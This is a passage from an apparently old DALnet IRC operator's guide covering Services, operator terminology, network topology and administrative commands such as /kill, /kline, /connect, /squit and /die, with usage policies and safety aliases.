(instead of the original 9 on IRC), centrally manageable K:lines so that it's

possible to ban users effectively from the entire network, the watch system

which is a new notify-style system but which is designed to minimize the

bandwidth used, and finally HelpOps which is an online help system for users.

  The DALnet Services have been widely imitated due to their success.

NickServ's and ChanServ's automated nickname and channel registration is very

easy to do and hassle-free.  NickServ provides the totally transparent

operation of allowing you to use your favorite nickname anytime you want and

even allows you to set an URL so other users can look up your web page or know

where to send email to you.  NickServ registration also enables users to

register their channels with ChanServ or use MemoServ to leave brief online

notes to each other.  ChanServ is easy to use, very responsive, and above all

provides seamless channel security while also taking care of automatically

opping the people designated by the channel's founder.

  For the aid of IRC operators, Services features OperServ.  This guide will

give a brief overview of the OperServ commands.  Additionally, doing a "/msg

OperServ help" command on DALnet while having your operator-status activated

will give you command help.  Some IRC operators are given further control over

DALnet, primarily in the area of ChanServ and NickServ, in the form of SA

(Service Admin) or CSop (Service Operator) access.

  Above all, DALnet represents "The Friendly Network", where IRC users don't

have to stay alert for unscrupulous users or technical failures.  Instead,

DALnet users can have a great time chatting with friends on a favorite channel

or in private.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

==============================

Part I - TECHNICAL INFORMATION

==============================

The IRC Operator's Tools

  This part (chapters 2 to 5) will explain about new IRC operator commands,

give you a basic knowledge of how IRC works, and describe in detail the IRC

features important to an IRC operator.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Chapter 2.  TERMINOLOGY

=======================

  - Things you will hear about

  This chapter will not explain about common IRC terms, such as bots or lag.

Rather it will focus on terminology that is used mostly by IRC operators and

that you might not have heard before.  Some of the other terms will get a new

meaning with explanations of IRC features and functionality that follows in

later chapters.

  2.1  SERVICES

  -------------

  Services is a single program which connects in the same way as a server would

to DALnet.  NickServ, ChanServ, MemoServ, HelpServ and OperServ which make up

Services are merely aspects of this one program.  It is very important for an

IRC operator to understand what IRC features are part of the IRC servers and/or

the IRC network, and what are provided by Services.

  The NickServ, ChanServ, MemoServ (and so on) services are not bots in the

normal sense of the word.  Whether they actually are bots at all or not is a

debatable case.  Since Services is an independent program, they may go down or

crash independently of the network (however, if it does go down, see section

6.3.4 on how to deal with that).

  In this guide "Services" means the single program which appears as the

various "services" on DALnet (NickServ, ChanServ, etc.), as well as

collectively referring to all of the services as a group.

  2.2  OPERS, ADMINS, CSOPS, ETC.

  -------------------------------

  Here's a brief explanation of the DALnet staff positions and hierarchy.

  - An IRC operator (also referred to as oper, IRC op, IRCop, O:line holder,

    someone with a *) is someone who has been granted IRC operator status on a

    server.  IRC operators are answerable to the admin of their server.  Some

    operators have an O:line on more than one server, in that case they must

    choose a primary server.  (See the definition of "lines" in section 2.5 for

    an explanation about the "O:line".)  The preferred term is "oper" or "IRC

    operator", as "IRCop" and similar titles may be read as "IRC cop".

  - An admin is a person who runs (administrates) a server and is responsible

    for it.  Admins select the operators for their server.  On the IRC itself,

    an admin actually has no more privileges than any other oper.

  Services has a number of administrative staff positions as well.  These do

not denote any sort of rank, except for Services access comparative purposes

(see the explanations) -- they signify only added responsibilities, with extra

access to Services to handle these responsibilities.  To be able to handle any

of these responsibilities, you need to be an IRC operator.  See chapter 5 for

more information.

  - Service Admins (SAs) have access to a few extra Services commands, to help

    deal with abusive users or other problem situations.  Most notably, SAs can

    add and remove autokills.

  - Service Operators (CSops, NickServ/ChanServ Admins) have the same access as

    Service Admins, but are also able to deal with nickname and channel

    ownership issues (lost passwords, etc.).

  - Services root access users (roots) are the ones who actually manage and run

    Services.  They have access to several Services features not available to

    anyone else, in addition to all CSop features.

  DALnet has a lot of other administrative positions and teams, but these are

not actually visible online IRC.  More on these in chapter 8 on DALnet

organization.

  2.3  GLOBALS, GLOBOPS, WALLOPS, CHATOPS AND LOCOPS

  --------------------------------------------------

  A global (short from "global notice") is a notice sent by an operator to all

DALnet users who are using the network.  Globals can also technically be done

with normal messages instead of notices, but in practice that is never done for

a number of reasons.

  Notices may also be sent to a limited group of users, either based on which

servers they are using, or what their address is.  If the notice is sent to

the clients on only one server, it's usually called a server notice

(confusingly enough, since server notices are also messages sent by servers

to anyone who has the usermode +s set -- to avoid this these kind of globals

could be labelled after the server's name, for example a "davis notice").  If

the notice is sent to part of a network, for example "*.eu.dal.net" (all the

users on the European servers), it is a network part notice.  If it's sent to

users based on their address/hostname, it's called a domain notice or notice

to hostmask.

  A globop is a message sent by an operator or a server to all IRC operators

who have set the usermode +g (more on this in section 4.3.4).  Globops are a

means for opers to discuss important network issues without users seeing.  For

extended discussions, joining a channel is strongly recommended.  Some people

might refer to globops as "globals" too, but this is not proper usage and is

discouraged.  Globops should not be used for idle chat, see chatops (below)

for that.

  A wallop is a message sent by an operator to all users who have the usermode

+w set (more on this in section 4.3.3).  Only IRCops can send them, but they

are visible to anyone who sets the usermode.  Wallops are a bit "antique", and

because of this they shouldn't be used much.  The point is arguable though.

Many curious users set themselves +w in order to see interesting operator

messages.  The best current use for them is for announcing network issues to

the "interested users", especially in cases when a global is not proper.

  Chatops are technically identical to globops.  The corresponding usermode is

+b (see section 4.3.11).  Unlike globops, there are no automatically generated

chatops messages.  Chatops have been added purely as a free chat medium for IRC

operators in order to let globops be used for strictly network related issues.

  Sending globals is explained in section 4.2.2, sending globops, wallops,

locops and chatops is explained in section 3.2.2.

  2.4  REROUTING

  --------------

  Rerouting means changing the current network layout: the order of how servers

connect to each other.  The reason for rerouting is to get rid of a bad network

connection and start using one that works better.  Reroutes are basically done

by issuing a /squit command to disconnect a link on the network, and then using

a /connect to establish another link elsewhere.  There are actually many things

to consider in rerouting -- for more information, see the sections explaining

/connect (3.2.5), /squit (3.2.6) and especially chapter 7 which explains

rerouting.

  2.5  SERVER LINES

  -----------------

  IRC servers all have a configuration file which controls various aspects of

the server, usually called ircd.conf.  This file consists of various "lines",

which are all named after the first character in that line.  Thus there are

O:lines, K:lines, C/N:lines, etc.  Some of these lines can be viewed with the

/stats command on IRC (for more information on /stats, see section 4.1.2).

  Here's a brief explanation of what each line does:

  A:line  -- Specifies what information is seen with the /admin command.

  C:lines -- Specify which servers the server can connect to.

  D:lines -- Connect rules for all connects.

  d:lines -- Connect rules for autoconnects only.

  H:lines -- Specify which servers are to be considered hubs.

  I:lines -- Define which clients are authorized to connect to the server, and

             what connection class they should use (see Y:lines).

  K:lines -- Define which clients are prohibited access to the server (banned).

  k:lines -- Define which clients are prohibited access to the server

             temporarily (settable by server opers).

  L:lines -- Specify which servers are to be considered leafs.

  M:line  -- Specifies the server name, description and the port number it

             should "listen" to.

  N:lines -- Specify which servers are allowed to connect to the server.

  O:lines -- Define which clients can access operator commands on the server.

  o:lines -- OBSOLETE, however the term "local o" is still in use.  Define

             which clients can access local operator commands (restricted set

             of operator commands; eg. /kill will only work on users on the

             same server).

  P:lines -- Set which additional ports the server may listen to.  (Also select

             IP addresses to use if the computer has more than one.)

  Q:lines -- Set which nicknames cannot be used on that server.

  q:lines -- Set which server names are not allowed on the network (need to

             be set on all servers for things to work properly).

  R:lines -- OBSOLETE. A more strident system of checking for user access

             than K:lines.

  U:lines -- Define which servers are authorized to make changes to user and

             channel mode settings regardless of actual user status

             (restricted to services.dal.net on DALnet).

  Y:lines -- Specify how the server accepts and treats connections by setting

             up "connection classes".

  Z:lines -- Define which hosts (based on IP address) are not allowed to

             connect to the server at all.

  z:lines -- Define which hosts (based on IP address) are not allowed to

             connect to the server at all (settable by opers).

  2.6  KILLS, KILLABLE OFFENSES

  -----------------------------

  A kill is an IRC term for disconnecting a user from the network.  Care

should be taken so that nobody confuses this with real world killing.  See

the operator command /kill for more information, section 3.2.3.

  Killable offences are those breaches of DALnet rules for which an operator

may use the /kill command to disconnect the user.  For more information, refer

to the section 6.5 on policy enforcement.

  2.7  K:LINES, AUTOKILLS (AKILLS)

  --------------------------------

  A K:line is a ban for a user or group of users on an IRC server.  K:lining

means adding a K:line, or in general terms banning a user from a server or

the entire network.  Permanent K:lines are added to the server's configuration

file by the server's admin.  Temporary k:lines (a lower case k is used for

them) may be added by that server's operators on IRC, and it stays until the

server goes down or a rehash is done (see the /rehash command, section 3.2.7).

  Autokill (commonly shortened to akill) is a Services feature to

automatically kill any user whose address matches a mask in the autokill

list.  Additionally, Services adds a temporary k:line (shown with an "A:"

heading with a "/stats k" command) on the server the user was using.

Autokills can be set and removed by Service Admins and CSops, while the

autokill list is viewable by all opers.  Autokills are the key feature in

keeping abusive people out of DALnet.  For usage information, see section

5.3.4.

  2.8  SERVICES IGNORES

  ---------------------

  Services ignore works just like a normal ignore: anyone in Services' ignore

list gets ignored by Services (autokills, akick's and similar things are still

enforced, though).  Ignores can be set or removed by Service Admins (and

above).  Ignores are a less forceful way (than autokills) to deal with abusive

people, and they are mostly used in cases of Services abuse.  For usage

information, see section 5.3.5.

  2.9  MARKS

  ----------

  Nicknames and channels registered with Services can be marked by CSops.  The

purpose of a mark is to show that the nick/channel has been looked over by

another CSop and nobody else should touch it without talking to the person who

placed the mark.  It can be used in situations when a nick/channel ownership

issue is complex or uncertain.  For usage information, see section 5.4.3.

  2.10  CLONEBOTS (CLONES, CLONING)

  ---------------------------------

  Clonebots (commonly shortened to clones) are a form of bots used to flood

other people.  Since IRC prevents you from sending more than one message every

two seconds, in order to effectively flood someone you need to use more than

one client.  Clonebots are mostly quite easy to tell apart from other users

because their nickname, username and ircnames are usually formed of random

characters.  There is no valid reason for having clonebots on DALnet, which is

why they have been banned.  See section 6.5.1 for how to deal with clonebots.

  Running clonebots is sometimes called cloning.  Please note that having a

second connection to the network is not the same as running clonebots!

  2.11  IRCD

  ----------

  ircd is the name of the IRC server program (it comes from "Internet Relay

Chat Daemon", but spelled all lowercase according to unix tradition).  It is

used when talking of the actual server program, while "server" usually refers

to the whole entity that a server running on DALnet is: the admin, server

operators, link permission, etc.

  2.12  LINKS

  -----------

  A link is a connection between two servers.  That's why the command to show

all the server connections on the network is called /links (see section 4.1.1

for more information about the command).

  Another meaning for a link is as "permission to be linked to the network",

as in all the DALnet servers have a link (to DALnet) while those servers which

are applying don't have it (yet).  A "delink" is the opposite of this, it means

"not part of the network".

  2.13  SYNC(H)S

  --------------

  Synch (or sync) is short from "synchronization".  On IRC the term is used to

describe the act of exchanging data between two servers in order to synchronize

the databases, so that both of the servers hold the same information about what

users are online and which channels have been formed (known as "synching").

It's also used when describing the status of two connected servers which have

finished synching and when they are working together seamlessly (known as

"synched").

  A resynch is when two servers connect to each other and synch after a

netsplit.

  A desynch occurs when the servers on a network do not agree about the state

of some nickname or channel.  For example, a single desynched server might hold

that a user has ops, while all the other servers see him/her as just a normal

channel member.  This means that the desynched user is able to kick and ban

others seemingly without ops on the channel, for example.

  2.14  JUPES

  -----------

  A jupe (comes from "jupiter", a user's nick once of EFnet) is a fake

connection that stops something else from connecting on IRC by taking their

name/place.  On DALnet, it usually means a fake server using another server's

name, stopping the real server from connecting to the network.  Jupes are used

very rarely, and only as an emergency and temporary measure.

  2.15  SENDQ, RECVQ (RCVEQ)

  --------------------------

  The 'Q' in these comes from "queue".  The sendQ is used by the server to

buffer the outgoing (send) data, while the recvQ (receive queue, also sometimes

written as rcveQ) stores incoming (receive) data from a client or server.

There is a separate sendQ and recvQ for each client and server connection.

Also, for server connections, the sendQ sizes may be different on each server,

eg. server A's sendQ for the connection to server B may be different from the

sendQ that server B has for its connection to server A.

  For clients, exceeding the receive queue is a possible sign of flooding,

while exceeding the send queue is likely due to using a command which generated

a lot of output (such as /list).

  For servers, exceeding the sendQ is a common symptom when a connection is

broken, but the server doesn't receive an actual notification of the fact.

The server will keep trying to send data through the link to the other server,

until the sendQ overflows, and the connection is closed.

  2.16  DALNET

  ------------

  DALnet is a non-profit organization founded by Dalvenjah FoxFire and

co-founded by MirclMax.  It is an IRC network formed of independently run

servers.  The servers are ircd programs running on computers provided by

various Internet Service Providers, computer (or other) companies, or

educations establishments.  DALnet does not pay or charge for running of the

servers.  The administration is formed of individual volunteers and computer

system administrators from the organizations which host the servers.

  As a note about the name, it is -just- "DALnet", not "The DALnet", "DALNet",

Dalnet", "DalNet", "dalnet", "dal.net" or any other variation.  There also is

no "the" before the name, unless you're speaking of the IRC network called

DALnet, ie. the DALnet IRC network.  It is JUST: DALnet.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Chapter 3.  A NEW VIEW TO IRC

=============================

  - The new stuff

  There are quite a few things you need to learn in becoming an IRC operator.

Very few of these are, in fact, new commands.  There are 16 new IRC commands

for operators, but you will likely need only 2 or 3 of these every day.  Most

of the new things are either learning when, where and how to use these new

commands, and getting a more in-depth understanding of how IRC works.

  3.1  IRC TECHNICAL OPERATION AND NETWORK STRUCTURE

  --------------------------------------------------

  From the user end, technical specifics about IRC are nearly impossible to

speculate on.  However, as an IRC server operator you should know the

underlying workings of IRC.  Things can be confusing when you start, so this

section is meant to explain the basic structure of an IRC network.

  3.1.1  IRC TECHNICAL OPERATION

  ------------------------------

  IRC, as you might already know, stands for Internet Relay Chat. IRC relies on

a system similar to most all Internet communications relationships.  A program

called a client connects to another program called a server to send and receive

information.  For IRC, many clients have been developed for various platforms

(Windows, unix, Macintosh, VMS).  To list a few, ircII, sirc, SmallIRC, and

TinyIRC for UNIX; Zircon for X-windows (X11); mIRC, pIRCh, CuteChat, Netscape

Chat, WSIRC, and irc4win for Windows; and Ircle, Homer, and Global Chat for

Macintosh.  The server is a program called ircd.  Currently all DALnet servers

run on the unix operating system, although lately it has become possible to run

an IRC server on a Windows NT system too.

  An IRC network is composed of servers that are connected to each other, some

directly, some through other servers which are in between and relay the

messages.  The messages transmitted between clients and servers are described

in a document called RFC 1459.

  3.1.2  IRC NETWORK STRUCTURE

  ----------------------------

  An IRC network is laid out so that there is only one possible route between

any two servers, either directly, or by relayed connections through other

servers.  Perhaps the best way to visualise it is by thinking of a tree with

branches.  There are two types of servers, leafs and hubs.  Hubs can connect to

more than one other server, while leafs can only connect to one (which is

known as the leaf's uplink).

  For example, the server glass.dal.net may not be _directly_ connected to the

server gothic.dal.net; however, when one of them is connected to

trapdoor.dal.net (a hub) and the other is connected to toronto.dal.net (another

hub), which _are_ connected, then glass and gothic will also be connected.

To clarify this, a diagram is provided below (which won't make much sense

unless you read this text with a fixed width font):

hub servers -->         voyager <-> toronto <-> trapdoor

                             |         |         |    |

leaf servers -->          raptor     gothic   glass  stlouis

  A netsplit occurs when a connection between two servers is broken.  This

might happen for many possible reasons: bad (Internet) network conditions

(which is the most common reason), a problem with the computer on which a

server is running, or an operator using the /squit command (see section 3.2.6

for the command's description).

  What happens in a netsplit is that the net splits into two sections.  The

users in one section appear to leave/quit the network as seen from the other

section, and vice versa.  If you are on a channel with a user who splits, the

quit message will have the names of the servers between which the connection

broke.  It is important to realise that even though the users "seem" to sign

off IRC, they are still connected to their server on the "other side" of the

split.

  For example, let's consider a netsplit in a network which is laid out like

in the diagram above.  Say, the connection between voyager and toronto gets

broken.  All the users on both raptor and voyager are seen to "quit", as seen

from all the other servers (toronto, trapdoor, gothic, glass, stlouis).  And,

similarly, users on voyager and raptor see all the users on the other servers

disappear.

  IRC networks may also be laid out in a "star like" structure, which is not

readily apparent from the first example.  You can have a "central" hub which

connects more than two other hub servers.  These other hubs (as well as the

central one) then hold leaf servers.  The following example shows such a

situation:

                 hebron     sodre

                     \       /

                      toronto

                         |

                      trapdoor -- spider

                     /        \

               voyager       quantum-r

                 |              |

               gothic          ced

  In this figure, trapdoor is a "central hub", holding connections to the three

other hubs (toronto, voyager, quantum-r) as well as the leaf spider.  Toronto

has two leafs (hebron and sodre), voyager holds gothic and ced's hub is the

quantum-r server.

  IRC networks may be arbitrarily large; however long paths (routes from one

server to another through other servers) are prone to lag and splits, which is

why it is better to avoid long "chains" of servers.

  3.1.3  IRC PROTOCOL COMMANDS

  ----------------------------

  It might be necessary for you to know how to send "raw" IRC commands to the

IRC server you are using.  This is because not all clients support all the

DALnet commands, and in such cases the command has to be sent directly to the

server.

  Most IRC clients allow sending direct server command by prefixing them with

the "/quote" command.  In that case, the server command does not have the /

placed in front.  For example, to send a message to Nick, the server format

would be "PRIVMSG Nick :message text", and the actual command to type would be:

    /quote PRIVMSG Nick :message text here

  It is usually possible to add an alias or script for these kinds of commands,

and that is recommended.

  3.2  IRC OPERATOR SERVER COMMANDS

  ---------------------------------

  This section lists and explains the IRC commands that an IRC operator may

use.  It is possible for server admins to limit and choose to some extent which

commands and usermode are allowed for an oper, by specifying the appropriate

O:line flags.  The most common setups are "local operator" (ie. the oper

cannot affect things outside his or her server, aka. "small o:line") and

"global operator" who has access to all the commands (aka. "big O:line"),

except those which require SA access (the +a usermode) to use.  Your admin

should let you know about any limitations there are in your O:line -- if you

are unsure, ask.

  3.2.1  /OPER

  ------------

  /oper is the basic command for assuming IRC operator status.  The syntax for

the command is:

    /oper <nick> <password>

The nick you should give after the command should be your IRC operator nickname

(or more technically, whatever was used in the O:line in the server's

configuration file).  The password is your operator password (for that O:line,

passwords can vary from server to server and even depend on the address you

are using).

  Some clients (notably ircII) or scripts allow to use a format where you only

give the nickname.  You will then be prompted for your operator password.

This second format is recommended if your client/script supports it, because it

is less prone to accidentally revealing operator passwords (for example,

consider the difference between "/oper mynick" and "/oper mynick mypass", if

the "/" is accidentally left out).

  It is not advisable to put your operator password in any scripts, as that

increases the risk of accidentally giving it away (for example, when sending

someone a copy of your script).

  When you oper successfully, the server will set the usermode +o for you,

which means you are now an IRC operator.  While you have the +o usermode set,

anyone who does a /whois on you will see the text "* Nick is an IRC operator"

(or whatever the message looks like on his/her server, it is possible for a

server's admin to change it).  Also, in any /who or /names list an asterisk

("*") will be shown after your nickname.  You may remove the oper status by

removing the +o mode with the "/mode <YourNick> -o" command, and some clients

also provide the "/deop" command.

  In addition of the +o, the /oper command will also add the +s, +w, +g and +f

usermodes for you.  It is also possible to set the +h and +c usermodes, which

are not available to normal users.  See section 4.3 for an explanation of the

usermodes.

  3.2.2  /GLOBOPS, /WALLOPS, /LOCOPS AND /CHATOPS

  -----------------------------------------------

  /globops is the command for sending globops-messages, which are only visible

to other IRC operators.  /wallops is the command for sending wallops-messages,

which are visible to any user who is set usermode +w (more about this in

section 4.3.3).  /locops is exactly like /globops, except it only sends the

message to local operators (those operators using the same server).  /chatops

is similar to /globops, except it goes only to those opers who have the +b

usermode set.  Normally, to send a globops, wallops, chatops or locops, you

will use:

    /globops <message text...>

    /wallops <message text...>

    /locops <message text...>

    /chatops <message text...>

  Globops is a new DALnet command, and because of that your client might not

support it directly.  In that case it is recommended that you make an alias for

it.  The server needs to see a message of the form "GLOBOPS :message text",

where the colon is required, see section 3.1.3 on sending commands directly to

the server.

  Globops can be used to let other opers know about something or to ask a

question or for an opinion.  Globops should not be used to send messages which

have nothing to do with the network.  Asking for help with network related

problems from other operators is ok, as is discussing things such as "Anyone

dealing with clonebots from evil@site?".  If someone else asks a question or

makes a comment in globops and you want to reply, consider whether what you

have to say is something that every other operator needs to see -- if not, make

your reply in a private message.  Longer discussions, especially those not

directly relating to network status or use should ALWAYS be taken to a channel.

Also, anything that could be expressed on the mailing lists, should be.

  Wallops are an alternative to globops.  When using them you should keep in

mind that they can be seen by users, in particular avoid any security-related

topics.  Users who are interested in "what's going on in the net" will likely

have +w set.  While globops require that an oper is opered to see them, wallops

do not.  Thus, wallops messages are a good way to make small "announcements"

and the like.  They could be used to announce rerouting, a server going down,

etc.

  Locops is a new command, like globops, and most of what applies to globops

applies to that too (the server format is "LOCOPS :message text").  The

appropriate use of it on each server is up to the admin.

  Chatops are a free chat medium for operators, created in order to free the

globops from idle chat and other inappropriate use.  You need to have the

usermode +b set in order to send and receive chatops (see section 4.3.11 for

more information on +b).  There are no specific established rules for chatops,

but same good behaviour guidelines as for channels do apply.  Admins may choose

to disable the use of the /chatops command on their server.

  3.2.3  /KILL

  ------------

  A /kill will disconnect another user from the IRC network.  The format of the

command is

    /kill <nick> <reason...>

  Unlike with the /kick command, you must give a reason.  It should be

matter-of-fact and describe why the user was disconnected, for both the user

getting disconnected and other operators and users who might see it.  A kill

will "track" a user if the user has recently (within 90 seconds) changed

nicknames, this is known as "kill chasing".

  You must ALWAYS warn before a /kill, preferably more than once.  In

non-critical situations you should warn the user at least twice.  In all cases

this might not be possible, but if it is - do it.  You should also attempt to

use other ways to deal with a user before using a /kill.  Consult the DALnet

Policies and Procedure guide (or your admin or trainer) for what is and what

isn't allowed on DALnet.  Breaking DALnet rules is usually a killable offence,

after multiple warnings have been given.

  An exception in the "always warn" policy is when disconnecting

mass-messagers (this covers all mass-messages and mass-invites, whether they

are done with /msg, /notice or /invite).  Mass-messages usually originate from

some sort of script or bot, and as such the user who is responsible is not

likely to see any messages sent to him/her/it.

  A /kill may NEVER be used for personal reasons.  Doing this will result in

the loss of your O:line or other sanctions.

  3.2.4  /KLINE AND /UNKLINE

  --------------------------

  IRC operators may temporarily K:line a user or user mask from a particular

server.  This is the last resort and is the most powerful defensive system

available to any IRCop without the help of Services in protecting DALnet from

repeat offenders or harmful bots.  A k:line will both stop new connects from

the specified mask as well as disconnect all users matching that mask (on that

server).

  /kline is (again) a new DALnet command, so your client will probably not

have direct support for it.  The server needs to see a message of the form

"KLINE <nickname> :<optional reason...>" or "KLINE <user@host mask> :<optional

reason>", see section 3.1.3 on using server commands directly.  If you give a

nickname, the server will set up a mask for the k:line based on the user's

current address.  As a note, you specifically can NOT kline a full

nick!user@host mask.

  The /unkline command can be used to remove temporary k:lines.  The format

is exactly the same as above, with "unkline" replacing "kline", and no reason

given.  The removal will only work if the mask is exactly the same which was

used when the k:line was added, use /stats k to view the addresses.

  The key limitation in a local K:line (or, in this case, k:line) is that it's

server specific -- the user in question may freely connect to another server

even though they are K:lined on another.  Thus in most cases an autokill is

much more effective.

  However, there are some situations in which placing a local server k:line can

be useful:

  - If an unauthorized bot keeps connecting over and over again to the server.

  - If there are a lot of clonebots from the same address connecting, placing a

    local k:line might help the situation.

  - If Services is lagged or down, local k:lines can become very useful.

  - Placing autokills requires Service Admin access to Services, and if you

    can't find a SA or a CSop to help you, your only choice is to try to use

    kills and local k:lines.

  - Other special situations

  In some cases it may be better to use a temporary z:line instead (see section

3.2.12), for example if there is a flood of connections coming to the server

from the same host which are all getting stopped by a K:line.

  You can view the current list of K:line with the command /stats k.  Lines

beginning with a capital K are permanent K:lines (added by the admin), lines

beginning with a small-case k are temporary k:lines, and lines beginning with

an A are autokill-K:lines, added by Services.  If the server has any Z:lines

or z:lines (temporary Z:lines), they will be shown also.  Doing a /rehash will

remove all temporary and autokill K:lines and temporary z:lines on that server.

  Use of /kline and /unkline may vary depending on the server.  Check with your

admin on the appropriate use of these commands.  As a further note, do not send

any email to the Kline Team about locally added /kline's unless it's a part of

some other report.

  3.2.5  /CONNECT

  ---------------

  The /connect command is used to connect servers.  It is the most complex

operator command, along with /squit.  Because of this its explanation has been

divided into 6 subsections.

  3.2.5.1  /CONNECT OVERVIEW

  --------------------------

  This command is used to connect (or re-connect) servers.  You can use it to

"bring back" a missing part of the network, or if you are on a single split

server, the whole missing network.  If you are on the main net you can, of

course, also use it to bring back a single server.  Although the command to

connect the two servers is simple enough, what those servers are connected to

in turn (if anything) is something you need to be aware of.

  There are always two servers involved in making a /connect: the server

attempting the connect (also called the "originator"), and the "target" server

(the server which is to be connected to).  For two servers to be able to

connect to each other, they need to have exchanged C/N lines.  (The C/N lines

hold configuration information for making the connection.)  It doesn't matter

whether you yourself are on a hub or a leaf, your goal is to connect the

network visible on your server to the rest of the network which is missing.

The TARGET is the missing network!

  When using /connect, the target server must NOT be on the network as seen

from your point of view.  This means it should not be currently visible if you

do a /links list.  Otherwise the connect attempt will fail with a "server

already exists" error.  This is explained in greater detail in chapter 7 on

rerouting.

  The results of connect attempts are displayed as server or globops messages,

so you should make sure you have the usermodes +s and +g set when using this

command.

  3.2.5.2  /CONNECT SYNTAX

  ------------------------

  The syntax for the /connect command is as follows:

    /connect <targetserver> [<port> [<fromserver>]]

  The details inside the [] are optional.  If the fromserver is not included,

it is known as a "local connect", where the server you are currently using is

the originator.

  3.2.5.3  /CONNECT USAGE

  -----------------------

  Remember that what you are trying to do is connect a server on your side of

the net, to a target server on the other side of the split.  In addition to

the target server's name, you need to give a port number to connect to (7325

on DALnet) and the connecting server's name as well.

  The command for this is:

    /connect targetserver.* 7325 fromserver.*

  In this case, you are attempting a connection between "targetserver.*" and 

"fromserver.*".  If you leave out the second server name, it's exactly the same

as if you used your current server's name (making it a local connect attempt).

  DALnet uses 7325 as the port number for connections between servers.  Some

servers occasionally use other ports, in which case the admin of the server is

responsible for informing anyone who needs to know of such a setup.

  When specifying server names in a /connect command you can either use the

full server name (eg. "/connect voyager.ca.us.dal.net"), or wildcards (eg.

"/connect voyager.*"), but it is important to avoid masks which are too short

as these can lead to potential problems.  For example, "/connect ar*" could be

either armory or arpa-r.  If you always give the name up to and including the

first dot, then there is no problem ever on DALnet.

  3.2.5.4  A SCHEMATIC EXAMPLE

  ----------------------------

  Suppose the network was split as in the following diagram, with the

connection between voyager and toronto down.

      ___________   x   ___________       ____________

     |           |  x  |           |     |            |

     |  voyager  |  x  |  toronto  | <-> |  trapdoor  |

     |___________|  x  |___________|     |____________|

           |        x        |              |      |

         raptor     x       ced           glass  stlouis

  The connect command you would need to fix this split depends on which server

you are using.  If you are on voyager, you can simply make it a local connect:

    /connect toronto.*

However, if you are on raptor, you would need to use a remote connect to make

voyager attempt to connect to toronto:

    /connect toronto.* 7325 voyager.*

If, on the other hand, you are on the other side of the split, you would need

to instruct toronto to try to connect to voyager.  On toronto a local connect

to voyager is enough, but on any other server the correct command would be:

    /connect voyager.* 7325 toronto.*

  3.2.5.5  GLOBOPS NOTIFICATION

  -----------------------------

  You should always send a globop about your intentions before issuing the

/connect command.  This allows other operators to know what you are doing and,

if necessary, comment on it. It also ensures the coordination in the connect

attempt.  Uncoordinated multiple connects may result in chaos.

  See chapter 7 which discusses rerouting in more detail.

  3.2.5.6  FINAL NOTE FOR /CONNECT

  --------------------------------

  The problem with /connect's is that while the connect attempt can be

satisfactory, the results might not be!  Either a connection won't be made, or

it will be slow and perhaps split soon after.  The reason is that most manual

/connects are done in times of bad network conditions and at better times there

is no need for them as things usually run smoothly.  See section 7.5 for more

details on what can go wrong.

  3.2.6  /SQUIT

  -------------

  The /squit command is the opposite of /connect: it breaks (disconnects) a

connection between two servers.  The name comes from "server quit".  The usage

of the command is:

    /squit <server> <optional reason>

You may give the name of the server in the form of "server.*", just make sure

there is only one server which matches the "mask".  The reason is optional, but

you should always consider giving one so that others who see the squit know why

it was done.

  When issuing the command, you give the name of the server you want to

disconnect from the network.  If this server happens to be a hub, all the

other server connections that it might have will stay intact (i.e. all the

servers that the hub holds will "go with it").

  Squits always work relative to where you are connected yourself.  Thus,

before you use the /squit command, it is EXTREMELY important that you

understand the IRC network structure (see section 3.1.2) and know the current

layout of the network, viewed with the /links command (see section 4.1.1).

  This can be best illustrated with an example.  Let us use the sample network

layout from before:

             voyager <-> toronto <-> trapdoor

                  |         |         |    |

              raptor     gothic    glass  stlouis

The command "/squit toronto.*" will disconnect a different link, depending on

which server you are connected to when issuing it.  If you are on glass,

stlouis or trapdoor the result would be that the connection between toronto and

trapdoor gets squitted.  If you are on gothic, the link between toronto and

gothic is disconnected.  Finally, if you were on raptor or voyager, the

affected connection would be that between voyager and toronto.  (As a

curiosity, if you are actually using toronto when you /squit it, this will

disconnect you from the server.)

  If you wanted to disconnect the link between voyager and toronto, and you

are currently using voyager or raptor, the correct command would be:

    /squit toronto.* <reason..>

However, if you were on toronto or any of the other servers, the command would

instead be:

    /squit voyager.* <reason...>

  Like connects, squits should be announced in globops (and perhaps in wallops

as well) so that other operators have a chance to give input and opinions

before you act.  In most cases, a /squit should always be followed by a

/connect to reconnect the disconnected server somewhere else.  This act is

known as rerouting, for more information about this see chapter 7.  The same

chapter also has information on when and how you should use this command.

  Finally, a /squit should NEVER be used for unofficial or personal reasons.

  3.2.7  /REHASH

  --------------

  This command makes ircd reload its configuration file.  This needs to be done

whenever the server admin changes information in the file and needs to reflect

these changes within the running server.  Rehashing will clear any temporary

and autokill K:line's not permanently set within ircd.conf.  /rehash is used

without any extra parameters.

  3.2.8  /RESTART

  ---------------

  /restart restarts ircd.  This command is similar to /rehash because it

updates any changes that are made in the configuration file, except it reloads

the program too.  Like with the /die command (below), all users (and servers

too) are disconnected.

  It is possible that the server admin has set up additional password to use

this command (via an X:line).  If so, you will need to place the /restart

password after the command for it to work.

  Normally you do not need to use this command, like /die (below).

  3.2.9  /DIE

  -----------

  /die stops the server.  Sweet and simple, DO NOT USE THIS COMMAND.

  It is possible that the server admin has set up additional password to use

this command (via an X:line).  If so, you will need to place the /die password

after the command for it to work.

  If your client supports aliases, I STRONGLY RECOMMEND you replace DIE with an

alias so that you don't accidentally use the command.  Here is an example:

ircII:

/alias die echo *** If you're sure you want to use die, use: /terminateserver

/alias terminateserver /quote die

mIRC:

/alias /die /echo *** If You're sure you want to use die, use: /terminateserver

/alias /terminateserver /quote die

Pirch:

Alias Die: Type /terminateserver if you really want to do this.

Alias terminateserver: /quote die

  Feel free to replace /terminateserver with any extremely long command that

cannot be typed too easily or accidentally.

  Also make sure that your script, if you have one, does not have this command.

There is no circumstance under which that would be needed.  If you ever need to

use the command, you may type it manually.

  Should the server admin not be available for consulting on an emergency

situation, you may be forced to use this command to stop your server from

continuing to malfunction (should it be badly afflicting DALnet).  However,

under normal circumstances, unless you are asked by your own admin to use this

command, do not use it (in all likelihood, the admin of the server will use it

himself if not kill the process from his shell prompt instead).  /die will

disconnect all users using the server (including you) from IRC, you will have

to reconnect to another server.

  3.2.10  /CLOSE

  --------------

  The /close command closes all "unknown connections" to the server.  It's

